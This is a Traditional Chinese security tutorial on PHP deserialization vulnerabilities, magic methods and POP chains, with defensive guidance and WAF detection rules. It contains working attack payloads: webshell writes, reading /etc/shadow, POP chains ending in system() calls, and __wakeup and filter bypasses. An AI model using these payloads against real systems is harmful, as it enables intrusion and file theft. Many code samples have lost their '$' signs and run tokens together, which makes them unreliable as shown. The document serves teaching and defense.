[網站漏洞] 006 PHP 反序列化漏洞:Magic Methods、POP Chain

目錄

  1. 序列化與反序列化基礎
  2. 為什麼反序列化是危險的?
  3. Magic Methods 完整解析
  4. 反序列化攻擊的完整生命週期
  5. POP Chain 攻擊鏈
  6. 實戰案例分析
  7. 防護策略與最佳實踐

第一章:序列化與反序列化基礎

1.1 什麼是序列化?

在程式開發中,我們經常需要把記憶體中的資料結構保存下來,或者透過網路傳輸給其他系統。但記憶體中的物件是複雜的資料結構,無法直接儲存或傳輸。這時候,我們需要一種方式把它「打包」成可儲存、可傳輸的格式。

序列化(Serialization) 就是把 PHP 的變數、陣列、物件等資料結構,轉換成一個字串的過程。

<?php
class User {
    public username;
    publicemail;
    private password;
    protectedrole;

    public function __construct(username,email, password,role) {
        this->username =username;
        this->email =email;
        this->password =password;
        this->role =role;
    }
}

user = new User("alice", "[email protected]", "secret123", "admin");serialized = serialize(user);
echoserialized;

輸出結果:

O:4:"User":4:{s:8:"username";s:5:"alice";s:5:"email";s:17:"[email protected]";s:14:"Userpassword";s:9:"secret123";s:7:"*role";s:5:"admin";}

1.2 序列化字串格式解析

讓我們拆解這個字串,理解它的結構:

O:4:"User":4:{...}
│ │  │     │
│ │  │     └── 物件有 4 個屬性
│ │  └── 類別名稱是 "User"
│ └── 類別名稱長度是 4 個字元
└── O 代表 Object(物件)

常見的類型標記:

標記 意義 範例
s 字串 (string) s:5:"hello"
i 整數 (integer) i:42
b 布林值 (boolean) b:1b:0
d 浮點數 (double) d:3.14
a 陣列 (array) a:2:{i:0;s:1:"a";i:1;s:1:"b";}
O 物件 (object) O:4:"User":1:{...}
N NULL N;

1.3 什麼是反序列化?

反序列化(Unserialization) 是序列化的逆向過程,把字串還原成原本的資料結構。

<?php
serialized = 'O:4:"User":4:{s:8:"username";s:5:"alice";...}';user = unserialize(serialized);

echouser->username; // 輸出: alice

1.4 為什麼需要序列化?

序列化在實際開發中有許多應用場景:

  1. Session 儲存:PHP 的 session 機制預設使用序列化來儲存使用者資料
  2. 快取系統:將物件序列化後存入 Redis、Memcached 等快取系統
  3. 資料庫儲存:將複雜資料結構存入資料庫的文字欄位
  4. API 傳輸:在不同系統間傳遞複雜資料結構
  5. 訊息佇列:將任務物件序列化後放入佇列等待處理

第二章:為什麼反序列化是危險的?

2.1 核心問題:自動執行的 Magic Methods

PHP 反序列化的安全威脅源自於一個關鍵特性:反序列化過程會自動觸發某些 Magic Methods

當你呼叫 unserialize() 時,PHP 會:

  1. 解析序列化字串
  2. 根據字串中的類別名稱建立物件
  3. 將屬性值填入物件
  4. 自動呼叫 __wakeup()__unserialize() 方法
  5. 當物件被銷毀時,自動呼叫 __destruct() 方法

如果攻擊者能控制被反序列化的字串內容,他就能:

  • 指定要建立哪個類別的物件
  • 控制物件的所有屬性值
  • 間接控制 Magic Methods 的行為

2.2 一個簡單的漏洞示範

<?php
// 系統中存在的類別
class TempFile {
    public filename;

    public function __destruct() {
        // 物件銷毀時,刪除暫存檔
        if (file_exists(this->filename)) {
            unlink(this->filename);
            echo "已刪除檔案: {this->filename}\n";
        }
    }
}

// 正常使用情境
temp = new TempFile();temp->filename = "/tmp/upload_abc123.tmp";
// 當 temp 被銷毀時,會刪除這個暫存檔

// 危險的程式碼:反序列化使用者輸入userInput = _GET['data'];obj = unserialize($userInput);

攻擊者可以構造這樣的請求:

?data=O:8:"TempFile":1:{s:8:"filename";s:11:"/etc/passwd";}

當這個惡意物件被反序列化後,$filename 會被設為 /etc/passwd。當腳本結束、物件被銷毀時,__destruct() 就會嘗試刪除 /etc/passwd

2.3 攻擊者的優勢

在反序列化攻擊中,攻擊者擁有以下控制權:

可控制的項目 說明
類別名稱 可以指定系統中任何已載入的類別
屬性名稱 包括 public、protected、private 屬性
屬性值 可以是任意類型的值,包括其他物件
物件巢狀 可以在屬性中放入其他物件,形成複雜的物件圖

2.4 攻擊者的限制

但攻擊者也有一些限制:

  1. 無法執行任意程式碼:只能利用系統中已存在的類別
  2. 無法呼叫任意方法:只能觸發 Magic Methods
  3. 類別必須已載入:如果類別尚未被 include/require,無法使用
  4. 無法修改方法邏輯:只能透過屬性值來影響方法行為

第三章:Magic Methods 完整解析

Magic Methods 是 PHP 中以雙底線 __ 開頭的特殊方法,它們會在特定情況下被 PHP 自動呼叫。理解每個 Magic Method 的觸發時機和用途,是掌握反序列化攻擊的關鍵。

3.1 __construct() – 建構函式

public __construct(mixed ...$values): void

觸發時機:使用 new 關鍵字建立物件時

重要特性:反序列化時不會觸發 __construct()

<?php
class Example {
    public data;

    public function __construct(data) {
        echo "建構函式被呼叫\n";
        this->data =data;
    }
}

// 這會觸發 __construct()
obj1 = new Example("hello");

// 這不會觸發 __construct()obj2 = unserialize('O:7:"Example":1:{s:4:"data";s:5:"world";}');
echo $obj2->data; // 輸出: world

在反序列化攻擊中的角色:通常不直接被利用,因為反序列化不會觸發它。但了解這點很重要,因為這意味著物件的初始化邏輯會被繞過。

3.2 __destruct() – 解構函式

public __destruct(): void

觸發時機
– 物件的所有參考都被移除時
– 腳本執行結束時
– 使用 unset() 銷毀物件時
– 物件離開作用域時

攻擊價值:⭐⭐⭐⭐⭐ 極高

這是反序列化攻擊中最常被利用的 Magic Method,因為它一定會被觸發

<?php
class DatabaseBackup {
    public backupFile;
    publicdata;

    public function __destruct() {
        // 危險:將資料寫入由屬性指定的檔案
        file_put_contents(this->backupFile,this->data);
    }
}

// 攻擊者構造的 payload
malicious = new DatabaseBackup();malicious->backupFile = '/var/www/html/shell.php';
malicious->data = '<?php system(_GET["cmd"]); ?>';

echo serialize(malicious);
// O:14:"DatabaseBackup":2:{s:10:"backupFile";s:26:"/var/www/html/shell.php";s:4:"data";s:32:"<?php system(_GET["cmd"]); ?>";}

常見的危險操作
– 檔案刪除 (unlink())
– 檔案寫入 (file_put_contents())
– 資料庫操作
– 命令執行 (exec(), system())
– 日誌記錄(可能寫入任意檔案)

3.3 __sleep() – 序列化前處理

public __sleep(): array

觸發時機:呼叫 serialize() 時,在實際序列化之前

用途
– 清理不需要序列化的資源(如資料庫連線)
– 指定哪些屬性應該被序列化
– 執行序列化前的準備工作

<?php
class Connection {
    protected link;      // PDO 連線,不需要序列化
    privatedsn;
    private username;
    privatepassword;

    public function __construct(dsn,username, password) {this->dsn = dsn;this->username = username;this->password = password;this->connect();
    }

    private function connect() {
        this->link = new PDO(this->dsn, this->username,this->password);
    }

    public function __sleep() {
        // 只序列化連線資訊,不序列化連線物件本身
        return ['dsn', 'username', 'password'];
    }
}

攻擊價值:⭐ 低

__sleep() 在序列化時觸發,而非反序列化時,因此在反序列化攻擊中較少直接利用。但理解它有助於了解序列化機制。

注意事項
– 必須回傳一個陣列,包含要序列化的屬性名稱
– 如果回傳非陣列值,PHP 8.0+ 會產生警告
– 無法回傳父類別的 private 屬性名稱

3.4 __wakeup() – 反序列化後處理

public __wakeup(): void

觸發時機unserialize() 完成後,在物件可用之前

用途
– 重新建立資料庫連線等資源
– 執行初始化任務
– 驗證或修正屬性值

<?php
class Connection {
    protected link;
    privatedsn;
    private username;
    privatepassword;

    public function __wakeup() {
        // 反序列化後重新建立資料庫連線
        this->connect();
    }

    private function connect() {this->link = new PDO(this->dsn,this->username, $this->password);
    }
}

攻擊價值:⭐⭐⭐⭐ 高

__wakeup() 在反序列化後立即觸發,是攻擊鏈的重要起點。

<?php
class ImageProcessor {
    public imagePath;
    publicoutputPath;

    public function __wakeup() {
        // 危險:使用使用者可控的路徑
        if (file_exists(this->imagePath)) {
            copy(this->imagePath, this->outputPath);
        }
    }
}

// 攻擊者可以複製任意檔案payload = new ImageProcessor();
payload->imagePath = '/etc/passwd';payload->outputPath = '/var/www/html/exposed.txt';

歷史漏洞:CVE-2015-6836 等多個 PHP 漏洞都與 __wakeup() 的繞過有關。

3.5 __serialize()__unserialize() – 自訂序列化

public __serialize(): array
public __unserialize(array $data): void

PHP 版本:7.4.0+

觸發時機
__serialize():呼叫 serialize()
__unserialize():呼叫 unserialize()

__sleep()/__wakeup() 的關係
– 如果同時定義了 __serialize()__sleep(),只會呼叫 __serialize()
– 如果同時定義了 __unserialize()__wakeup(),只會呼叫 __unserialize()

<?php
class SecureConnection {
    protected link;
    privatedsn;
    private username;
    privatepassword;

    public function __serialize(): array {
        return [
            'dsn' => this->dsn,
            'user' =>this->username,
            'pass' => this->password,
        ];
    }

    public function __unserialize(arraydata): void {
        this->dsn =data['dsn'];
        this->username =data['user'];
        this->password =data['pass'];
        this->connect();
    }

    private function connect() {this->link = new PDO(this->dsn,this->username, $this->password);
    }
}

攻擊價值:⭐⭐⭐⭐ 高

__wakeup() 類似,但提供了更細緻的控制。

3.6 __toString() – 字串轉換

public __toString(): string

觸發時機:當物件被當作字串使用時
echo $obj
print $obj
– 字串連接:"Hello " . $obj
– 傳入需要字串的函式:strlen($obj)
– 類型轉換:(string)$obj

<?php
class Template {
    public templateFile;

    public function __toString() {
        // 危險:讀取由屬性指定的檔案
        return file_get_contents(this->templateFile);
    }
}

template = new Template();template->templateFile = '/etc/passwd';
echo $template; // 輸出 /etc/passwd 的內容

攻擊價值:⭐⭐⭐⭐ 高

__toString() 經常被用作 POP Chain 的一環,特別是當程式碼中有字串操作時。

<?php
class Logger {
    public logMessage;

    public function __destruct() {
        // 這裡會觸發logMessage 的 __toString()
        file_put_contents('/var/log/app.log', this->logMessage);
    }
}

class FileReader {
    publicfile;

    public function __toString() {
        return file_get_contents(this->file);
    }
}

// 攻擊者可以組合這兩個類別來讀取任意檔案reader = new FileReader();
reader->file = '/etc/shadow';logger = new Logger();
logger->logMessage =reader;

// 當 Logger 被銷毀時,會呼叫 FileReader 的 __toString()
// 導致 /etc/shadow 被寫入日誌檔

3.7 __invoke() – 將物件當函式呼叫

__invoke(mixed ...$values): mixed

觸發時機:當物件被當作函式呼叫時

<?php
class Command {
    public cmd;

    public function __invoke() {
        // 危險:執行由屬性指定的命令
        return system(this->cmd);
    }
}

cmd = new Command();cmd->cmd = 'whoami';
$cmd(); // 執行 whoami 命令

攻擊價值:⭐⭐⭐ 中高

__invoke() 通常需要配合其他觸發點,例如 call_user_func() 或陣列回呼。

<?php
class Callback {
    public callback;
    publicargs;

    public function __destruct() {
        // 這會觸發 callback 的 __invoke()(如果它是物件)
        call_user_func(this->callback, this->args);
    }
}

class Executor {
    publiccommand;

    public function __invoke(args) {
        system(this->command . ' ' . args);
    }
}

// 攻擊鏈executor = new Executor();
executor->command = 'cat';callback = new Callback();
callback->callback =executor;
$callback->args = '/etc/passwd';

3.8 __call() – 呼叫不存在的方法

public __call(string name, arrayarguments): mixed

觸發時機:當呼叫物件上不存在或不可存取的方法時

<?php
class DynamicMethod {
    public methods = [];

    public function __call(name, arguments) {
        if (isset(this->methods[name])) {
            // 危險:動態呼叫儲存的回呼函式
            return call_user_func_array(this->methods[name],arguments);
        }
    }
}

obj = new DynamicMethod();obj->methods['exec'] = 'system';
$obj->exec('whoami'); // 執行系統命令

攻擊價值:⭐⭐⭐ 中高

__call() 在複雜的 POP Chain 中很有用,可以轉發方法呼叫。

3.9 __callStatic() – 呼叫不存在的靜態方法

public static __callStatic(string name, arrayarguments): mixed

觸發時機:當呼叫類別上不存在或不可存取的靜態方法時

<?php
class Facade {
    public static target;

    public static function __callStatic(name, arguments) {instance = new self::target;
        return call_user_func_array([instance, name],arguments);
    }
}

// Facade::anyMethod() 會轉發到 $target 類別

攻擊價值:⭐⭐ 中

較少直接用於反序列化攻擊,因為靜態方法的呼叫較難透過序列化控制。

3.10 __get() – 存取不存在的屬性

public __get(string $name): mixed

觸發時機:當讀取不存在或不可存取的屬性時

<?php
class Config {
    private settings = [];
    publicconfigFile;

    public function __get(name) {
        if (empty(this->settings)) {
            // 危險:從使用者可控的檔案載入設定
            this->settings = include(this->configFile);
        }
        return this->settings[name] ?? null;
    }
}

攻擊價值:⭐⭐⭐ 中高

當 POP Chain 中存取了不存在的屬性時,可以觸發 __get()

3.11 __set() – 設定不存在的屬性

public __set(string name, mixedvalue): void

觸發時機:當設定不存在或不可存取的屬性時

<?php
class DynamicObject {
    private data = [];
    publicstorage;

    public function __set(name,value) {
        this->data[name] = value;
        // 危險:自動持久化到檔案
        file_put_contents(this->storage, serialize($this->data));
    }
}

攻擊價值:⭐⭐⭐ 中

可以在屬性賦值操作中被觸發。

3.12 __isset() – 檢查不存在的屬性

public __isset(string $name): bool

觸發時機:對不存在的屬性呼叫 isset()empty()

<?php
class LazyLoader {
    private loaded = [];
    publicloaderCallback;

    public function __isset(name) {
        if (!isset(this->loaded[name])) {
            // 可能觸發載入邏輯this->loaded[name] = call_user_func(this->loaderCallback, name);
        }
        return isset(this->loaded[$name]);
    }
}

攻擊價值:⭐⭐ 中

需要程式碼中有對物件屬性的 isset() 檢查才能觸發。

3.13 __unset() – 刪除不存在的屬性

public __unset(string $name): void

觸發時機:對不存在的屬性呼叫 unset()

<?php
class SecureStorage {
    private data = [];
    publicbackupPath;

    public function __unset(name) {
        unset(this->data[name]);
        // 危險:刪除時同步到檔案
        unlink(this->backupPath . '/' . $name);
    }
}

攻擊價值:⭐⭐ 中

較少見,需要特定的程式碼模式才能觸發。

3.14 __set_state() – var_export 重建

static __set_state(array $properties): object

觸發時機:當使用 var_export() 匯出物件,然後用 eval() 重建時

<?php
class State {
    public var1;
    publicvar2;

    public static function __set_state(an_array) {obj = new State();
        obj->var1 =an_array['var1'];
        obj->var2 =an_array['var2'];
        return obj;
    }
}a = new State();
a->var1 = 5;a->var2 = 'foo';

// var_export 產生可以用 eval 執行的 PHP 程式碼
exported = var_export(a, true);
// 結果: State::__set_state(array('var1' => 5, 'var2' => 'foo',))

eval('restored = ' .exported . ';');

攻擊價值:⭐ 低

這個方法與 var_export() 配合使用,而非 serialize()/unserialize(),因此在典型的反序列化攻擊中較少見。

3.15 __clone() – 物件複製

__clone(): void

觸發時機:使用 clone 關鍵字複製物件時

<?php
class Document {
    public id;
    publiccontent;
    private createdAt;

    public function __clone() {
        // 複製時重設 ID 和建立時間this->id = uniqid();
        this->createdAt = new DateTime();
    }
}doc1 = new Document();
doc2 = clonedoc1; // 觸發 __clone()

攻擊價值:⭐ 低

__clone() 不會在反序列化過程中被觸發,因此在反序列化攻擊中很少使用。

3.16 __debugInfo() – 除錯輸出

__debugInfo(): array

觸發時機:當使用 var_dump()print_r() 輸出物件時

<?php
class SecretData {
    private secret = 'top-secret-key';
    privatedata;

    public function __construct(data) {this->data = data;
    }

    public function __debugInfo() {
        // 隱藏敏感資訊
        return [
            'data' =>this->data,
            'hasSecret' => !empty(this->secret),
        ];
    }
}obj = new SecretData('hello');
var_dump(obj);
// 輸出不會包含secret 的實際值

攻擊價值:⭐ 低

主要用於除錯目的,在反序列化攻擊中幾乎不使用。

3.17 Magic Methods 攻擊價值總覽

方法 觸發時機 攻擊價值 說明
__destruct() 物件銷毀 ⭐⭐⭐⭐⭐ 最常被利用,一定會觸發
__wakeup() 反序列化後 ⭐⭐⭐⭐ 反序列化入口點
__unserialize() 反序列化後 ⭐⭐⭐⭐ PHP 7.4+ 的新機制
__toString() 字串轉換 ⭐⭐⭐⭐ POP Chain 常用
__call() 呼叫不存在方法 ⭐⭐⭐ 方法轉發
__invoke() 物件當函式呼叫 ⭐⭐⭐ 回呼函式場景
__get() 存取不存在屬性 ⭐⭐⭐ 屬性存取觸發
__set() 設定不存在屬性 ⭐⭐⭐ 屬性賦值觸發
__isset() isset() 檢查 ⭐⭐ 需要特定程式碼模式
__unset() unset() 呼叫 ⭐⭐ 需要特定程式碼模式
__callStatic() 靜態方法呼叫 ⭐⭐ 較難控制
__sleep() 序列化前 序列化時觸發,非反序列化
__serialize() 序列化時 序列化時觸發,非反序列化
__construct() new 建立物件 反序列化不觸發
__clone() clone 物件 反序列化不觸發
__set_state() var_export 重建 與 serialize 無關
__debugInfo() var_dump 輸出 主要用於除錯

第四章:反序列化攻擊的完整生命週期

4.1 階段一:偵察(Reconnaissance)

攻擊的第一步是收集資訊:

尋找反序列化入口點

// 常見的危險模式
data = unserialize(_GET['data']);
data = unserialize(_POST['data']);
data = unserialize(_COOKIE['session']);
data = unserialize(base64_decode(_GET['token']));
$data = unserialize(file_get_contents('php://input'));

識別可能洩漏的資訊

  • 錯誤訊息可能揭示類別名稱
  • 公開的原始碼(GitHub、備份檔案)
  • Composer 的 composer.jsoncomposer.lock 揭示使用的套件
  • PHP 資訊頁面 (phpinfo())

4.2 階段二:類別分析(Gadget Hunting)

識別危險的 Magic Methods

攻擊者會分析系統中所有可用的類別,尋找:

  1. 直接危險的操作
    • 檔案操作:file_get_contents(), file_put_contents(), unlink(), fopen()
    • 命令執行:system(), exec(), shell_exec(), passthru(), popen()
    • 程式碼執行:eval(), assert(), create_function(), call_user_func()
    • 包含檔案:include(), require(), include_once(), require_once()
  2. 間接觸發其他 Magic Methods 的操作
    • 字串連接或輸出(觸發 __toString()
    • 動態方法呼叫(觸發 __call()
    • 動態屬性存取(觸發 __get()
    • 回呼函式呼叫(觸發 __invoke()

4.3 階段三:建構 POP Chain

什麼是 POP Chain?

POP(Property Oriented Programming)Chain 是一連串透過物件屬性連結起來的方法呼叫鏈。

攻擊者透過精心安排物件之間的關係,讓一個 Magic Method 的執行觸發另一個物件的 Magic Method,最終達成攻擊目的。

<?php
// 類別 A:入口點
class A {
    public obj;

    public function __destruct() {
        echothis->obj;  // 觸發 obj 的 __toString()
    }
}

// 類別 B:中繼點
class B {
    publichandler;

    public function __toString() {
        this->handler->process();  // 觸發handler 的 __call()(如果 process 不存在)
        return "";
    }
}

// 類別 C:跳板
class C {
    public callback;
    publicargs;

    public function __call(name,arguments) {
        call_user_func(this->callback,this->args);  // 觸發 callback 的 __invoke()
    }
}

// 類別 D:最終執行點
class D {
    publiccommand;

    public function __invoke(args) {
        system(this->command);  // 執行系統命令
    }
}

// 建構 POP Chain
d = new D();d->command = 'id';

c = new C();c->callback = d;c->args = 'dummy';

b = new B();b->handler = c;a = new A();
a->obj =b;

// 產生 payload
payload = serialize(a);
echo base64_encode($payload);

執行流程

unserialize(payload)
  ↓
A::__destruct() 被呼叫
  ↓
echothis->obj 觸發 B::__toString()
  ↓
this->handler->process() 觸發 C::__call()(process 不存在)
  ↓
call_user_func(this->callback, ...) 觸發 D::__invoke()
  ↓
system($this->command) 執行命令

4.4 階段四:繞過防護

常見的防護與繞過

  1. __wakeup() 驗證繞過

    CVE-2016-7124:當序列化字串中的屬性數量大於實際屬性數量時,__wakeup() 不會被呼叫。

    // 原始序列化
    O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
    
    // 繞過 __wakeup():將 2 改為 3
    O:4:"User":3:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
    
  2. 類別名稱大小寫

    PHP 的類別名稱是不區分大小寫的:

    O:4:"User":1:{...}
    O:4:"USER":1:{...}  // 同樣有效
    O:4:"user":1:{...}  // 同樣有效
    
  3. 使用 + 號繞過正則過濾
    O:4:"User":1:{...}
    O:+4:"User":1:{...}  // 同樣有效,可能繞過簡單的過濾
    

4.5 階段五:投放與執行

Payload 編碼

攻擊者通常會對 payload 進行編碼以避免傳輸問題:

// Base64 編碼
encoded = base64_encode(serialize(obj));

// URL 編碼
encoded = urlencode(serialize(obj));

// 雙重編碼
encoded = urlencode(urlencode(serialize(obj)));

投放方式

  • GET/POST 參數
  • Cookie
  • HTTP Header(如 X-Forwarded-For)
  • 檔案上傳
  • 資料庫欄位(如果資料稍後會被反序列化)

第五章:POP Chain 深入解析

5.1 POP Chain 建構策略

向後追蹤法

從目標操作開始,向後尋找觸發路徑:

目標:執行 system() 命令
  ↑
需要:找到呼叫 system() 的 Magic Method
  ↑
找到:ClassD::__invoke() 呼叫 system(this->cmd)
  ↑
需要:找到能觸發 __invoke() 的地方
  ↑
找到:ClassC::__call() 呼叫 call_user_func(this->callback)
  ↑
需要:找到能觸發 __call() 的地方
  ↑
...以此類推

向前追蹤法

從入口點開始,向前尋找可能的路徑:

入口:unserialize(userInput)
  ↓
觸發:ClassA::__wakeup() 或 __destruct()
  ↓
分析:這些方法做了什麼操作?
  ↓
發現:echothis->property 可能觸發 __toString()
  ↓
...以此類推

5.2 常見 POP Chain 模式

模式一:直接執行

class DirectExec {
    public cmd;

    public function __destruct() {
        system(this->cmd);
    }
}

模式二:字串觸發鏈

class Entry {
    public output;

    public function __destruct() {
        echothis->output;  // 觸發 __toString()
    }
}

class FileReader {
    public file;

    public function __toString() {
        return file_get_contents(this->file);
    }
}

模式三:回呼執行鏈

class CallbackExecutor {
    public callback;
    publicargs;

    public function __destruct() {
        call_user_func_array(this->callback,this->args);
    }
}

// payload
obj = new CallbackExecutor();obj->callback = 'system';
$obj->args = ['id'];

模式四:動態方法鏈

class Dispatcher {
    public target;
    publicmethod;
    public args;

    public function __wakeup() {this->target->{this->method}(...this->args);
    }
}

class Dangerous {
    public function execute(cmd) {
        system(cmd);
    }
}

// payload
dangerous = new Dangerous();dispatcher = new Dispatcher();
dispatcher->target =dangerous;
dispatcher->method = 'execute';dispatcher->args = ['id'];

5.3 知名框架的 POP Chain

Laravel POP Chain 範例(簡化版)

// PendingBroadcast 類別
class PendingBroadcast {
    protected events;
    protectedevent;

    public function __destruct() {
        this->events->dispatch(this->event);
    }
}

// Dispatcher 類別
class Dispatcher {
    protected listeners;

    public function dispatch(event) {
        foreach (this->listeners[event] as listener) {listener(event);
        }
    }
}

// 攻擊者可以設定listeners 為惡意回呼

實際框架漏洞案例
– Laravel: CVE-2019-9081
– Symfony: CVE-2019-18889
– Yii: CVE-2020-15148
– PHPMailer: CVE-2016-10033


第六章:實戰案例分析

6.1 案例一:簡單的檔案刪除

漏洞程式碼

<?php
class Cache {
    public cacheFile;

    public function __destruct() {
        if (file_exists(this->cacheFile)) {
            unlink(this->cacheFile);
        }
    }
}

// 危險:直接反序列化使用者輸入data = unserialize($_COOKIE['cache_data']);

攻擊 Payload

<?php
class Cache {
    public cacheFile;
}exploit = new Cache();
exploit->cacheFile = '/var/www/html/index.php';
echo urlencode(serialize(exploit));
// O%3A5%3A%22Cache%22%3A1%3A%7Bs%3A9%3A%22cacheFile%22%3Bs%3A24%3A%22%2Fvar%2Fwww%2Fhtml%2Findex.php%22%3B%7D

6.2 案例二:任意檔案寫入(Webshell)

漏洞程式碼

<?php
class Logger {
    public logFile = '/var/log/app.log';
    publiccontent = '';

    public function __destruct() {
        file_put_contents(this->logFile,this->content, FILE_APPEND);
    }
}

input = base64_decode(_POST['log_data']);
logger = unserialize(input);

攻擊 Payload

<?php
class Logger {
    public logFile;
    publiccontent;
}

exploit = new Logger();exploit->logFile = '/var/www/html/uploads/shell.php';
exploit->content = '<?php system(_GET["cmd"]); ?>';
echo base64_encode(serialize($exploit));

6.3 案例三:完整 POP Chain

漏洞程式碼(多個類別)

<?php
class User {
    public name;
    publicprofile;

    public function __destruct() {
        echo "Goodbye, " . this->profile;
    }
}

class Profile {
    publicformatter;
    public data;

    public function __toString() {
        returnthis->formatter->format(this->data);
    }
}

class Formatter {
    publicfilters = [];

    public function format(data) {
        foreach (this->filters as filter) {data = call_user_func(filter,data);
        }
        return data;
    }
}

// 入口點userData = unserialize($_COOKIE['user']);

攻擊 Payload

<?php
class User {
    public profile;
}

class Profile {
    publicformatter;
    public data;
}

class Formatter {
    publicfilters = [];
}

// 建構 POP Chain
formatter = new Formatter();formatter->filters = ['system'];

profile = new Profile();profile->formatter = formatter;profile->data = 'id';

user = new User();user->profile = profile;

echo urlencode(serialize(user));

執行流程

unserialize() → User 物件建立
        ↓
腳本結束 → User::__destruct()
        ↓
echo this->profile → Profile::__toString()
        ↓this->formatter->format() → Formatter::format()
        ↓
call_user_func('system', 'id') → 執行命令

6.4 案例四:繞過 __wakeup() 保護

漏洞程式碼

<?php
class SecureFile {
    public filename = '/tmp/safe.txt';

    public function __wakeup() {
        // 嘗試在反序列化後重設為安全值this->filename = '/tmp/safe.txt';
    }

    public function __destruct() {
        if (file_exists(this->filename)) {
            unlink(this->filename);
        }
    }
}

data = unserialize(_GET['data']);

繞過方法(CVE-2016-7124)

適用於 PHP < 5.6.25 和 PHP 7 < 7.0.10:

// 原始序列化
O:10:"SecureFile":1:{s:8:"filename";s:16:"/etc/passwd";}

// 繞過版本:將屬性數量 1 改為 2
O:10:"SecureFile":2:{s:8:"filename";s:11:"/etc/passwd";}

當屬性數量宣告與實際不符時,__wakeup() 不會被呼叫,但 __destruct() 仍會執行。


第七章:防護策略與最佳實踐

7.1 根本解決方案:避免反序列化不可信資料

最佳做法:使用 JSON

// 不要這樣做
data = unserialize(_POST['data']);

// 改用 JSON
data = json_decode(_POST['data'], true);

JSON 只能表示基本資料類型(字串、數字、陣列、物件),不會建立 PHP 類別的實例,因此沒有 Magic Method 被觸發的風險。

7.2 如果必須使用序列化

方法一:限制允許的類別(PHP 7.0+)

// 只允許特定類別
allowed = ['SafeClass', 'AnotherSafeClass'];obj = unserialize(data, ['allowed_classes' =>allowed]);

// 不允許任何類別(只允許基本類型和陣列)
obj = unserialize(data, ['allowed_classes' => false]);

方法二:簽章驗證

class SecureSerializer {
    private secretKey;

    public function __construct(secretKey) {
        this->secretKey =secretKey;
    }

    public function serialize(data) {serialized = serialize(data);signature = hash_hmac('sha256', serialized,this->secretKey);
        return base64_encode(signature . '|' .serialized);
    }

    public function unserialize(data) {decoded = base64_decode(data);
        if (decoded === false) {
            throw new Exception('Invalid data format');
        }

        parts = explode('|',decoded, 2);
        if (count(parts) !== 2) {
            throw new Exception('Invalid data structure');
        }

        [signature, serialized] =parts;
        expectedSignature = hash_hmac('sha256',serialized, this->secretKey);

        if (!hash_equals(expectedSignature, signature)) {
            throw new Exception('Invalid signature');
        }

        return unserialize(serialized, ['allowed_classes' => false]);
    }
}

7.3 類別層級的防護

在 Magic Methods 中加入驗證

class SafeFileHandler {
    private allowedPaths = ['/tmp/', '/var/cache/'];
    publicfilePath;

    public function __wakeup() {
        this->validatePath();
    }

    public function __unserialize(arraydata): void {
        this->filePath =data['filePath'] ?? '';
        this->validatePath();
    }

    private function validatePath() {realPath = realpath(dirname(this->filePath));isAllowed = false;

        foreach (this->allowedPaths asallowed) {
            if (strpos(realPath,allowed) === 0) {
                isAllowed = true;
                break;
            }
        }

        if (!isAllowed) {
            throw new Exception('Invalid file path');
        }
    }

    public function __destruct() {
        // 安全的操作,因為路徑已經在 __wakeup 中驗證
        if (this->filePath && file_exists(this->filePath)) {
            unlink($this->filePath);
        }
    }
}

7.4 架構層級的防護

使用加密的 Session 處理

// php.ini 設定
session.serialize_handler = php_serialize
session.use_strict_mode = 1

// 或使用自訂的 Session Handler
class EncryptedSessionHandler extends SessionHandler {
    private key;

    public function __construct(key) {
        this->key =key;
    }

    public function read(id) {data = parent::read(id);
        if (data === '') {
            return '';
        }
        return this->decrypt(data);
    }

    public function write(id,data) {
        return parent::write(id,this->encrypt(data));
    }

    private function encrypt(data) {
        iv = random_bytes(16);encrypted = openssl_encrypt(data, 'AES-256-CBC',this->key, 0, iv);
        return base64_encode(iv . encrypted);
    }

    private function decrypt(data) {
        data = base64_decode(data);
        iv = substr(data, 0, 16);
        encrypted = substr(data, 16);
        return openssl_decrypt(encrypted, 'AES-256-CBC',this->key, 0, $iv);
    }
}

7.5 監控與偵測

日誌記錄

function safe_unserialize(data,context = '') {
    // 記錄所有反序列化操作
    error_log(sprintf(
        '[UNSERIALIZE] Context: %s, Length: %d, Hash: %s',
        context,
        strlen(data),
        md5(data)
    ));

    // 檢查可疑模式
    if (preg_match('/O:\d+:"[^"]*"/',data)) {
        error_log('[UNSERIALIZE WARNING] Object detected in serialized data');
    }

    return unserialize($data, ['allowed_classes' => false]);
}

Web Application Firewall (WAF) 規則

# 偵測序列化物件模式
SecRule ARGS "@rx O:\d+:\"" "id:1001,phase:2,deny,status:403,msg:'Possible PHP object injection'"
SecRule REQUEST_COOKIES "@rx O:\d+:\"" "id:1002,phase:2,deny,status:403,msg:'Possible PHP object injection in cookie'"

7.6 防護檢查清單

檢查項目 說明
☐ 盡量不使用 unserialize() 改用 JSON 或其他安全格式
☐ 使用 allowed_classes 參數 PHP 7.0+ 限制可反序列化的類別
☐ 實作簽章驗證 確保資料未被竄改
☐ 審查所有 Magic Methods 確保沒有危險操作
☐ 最小權限原則 Web 伺服器程序不應有過高權限
☐ 定期更新 PHP 版本 修補已知的安全漏洞
☐ 使用安全框架 現代框架通常有內建防護
☐ 程式碼審計 定期檢查潛在的反序列化入口點

結語

PHP 反序列化漏洞是一種強大但複雜的攻擊向量。它的危險在於攻擊者可以透過控制序列化資料,操控物件的屬性值,並利用 Magic Methods 的自動觸發機制來執行惡意操作。

關鍵要點回顧

  1. 理解機制:反序列化會自動觸發特定的 Magic Methods,特別是 __wakeup()__unserialize()__destruct()

  2. 識別風險:任何對不可信資料執行 unserialize() 的地方都是潛在的攻擊入口

  3. POP Chain:攻擊者可以串連多個類別的 Magic Methods,形成複雜的攻擊鏈

  4. 防護優先順序

    • 最佳:不使用 unserialize() 處理不可信資料
    • 次佳:使用 allowed_classes 限制可反序列化的類別
    • 輔助:實作簽章驗證、在 Magic Methods 中加入驗證
飛飛
飛飛

講師學歷:臺科資工所、逢甲資工系畢業。
技術專長:OSINT、滲透測試、網站開發、專業易懂教育訓練。
證照書籍:OSCP、OSCE³、著《資安這條路:領航新手的 Web Security 指南》。
教學經驗:60+ 企業教學經驗、指導過上百位學員。
教學特色:新手友善、耐心指導、擅長圖解(流程圖、心智圖)引導學習。
社群經驗:目前經營全臺資安社群 CURA,曾任臺科資安社社長、逢甲黑客社社長。
社群交流:LINE 社群《飛飛的資安大圈圈》,即時分享經驗、鼓勵交流。
